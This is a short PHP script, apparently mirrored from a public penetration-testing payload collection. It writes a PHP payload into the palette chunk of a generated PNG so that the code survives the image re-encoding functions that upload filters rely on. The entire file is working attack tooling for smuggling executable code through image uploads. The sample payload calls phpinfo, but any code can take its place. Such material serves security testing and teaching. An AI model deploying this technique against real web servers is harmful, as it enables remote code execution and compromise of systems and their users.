mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-05-19 17:36:08 +02:00
28 lines
640 B
PHP
28 lines
640 B
PHP
<?php
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//createPNGwithPLTE.php
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// bypass imageCreateFromPng and imagepng
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$_payload="<?php phpinfo()?> ";
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$_pay_len=strlen($_payload);
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if(strlen($_payload)%3!=0){
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echo "payload%3==0 !"; exit();
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}
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$width=$_pay_len/3;
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$height=20;
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//$im = imageCreateFromPng("existing.png");
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$im = imagecreate($width, $height);
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$_hex=unpack('H*',$_payload);
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$_chunks=str_split($_hex[1], 6);
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for($i=0; $i < count($_chunks); $i++){
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$_color_chunks=str_split($_chunks[$i], 2);
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$color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
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imagesetpixel($im,$i,1,$color);
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}
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imagepng($im,"example.png"); |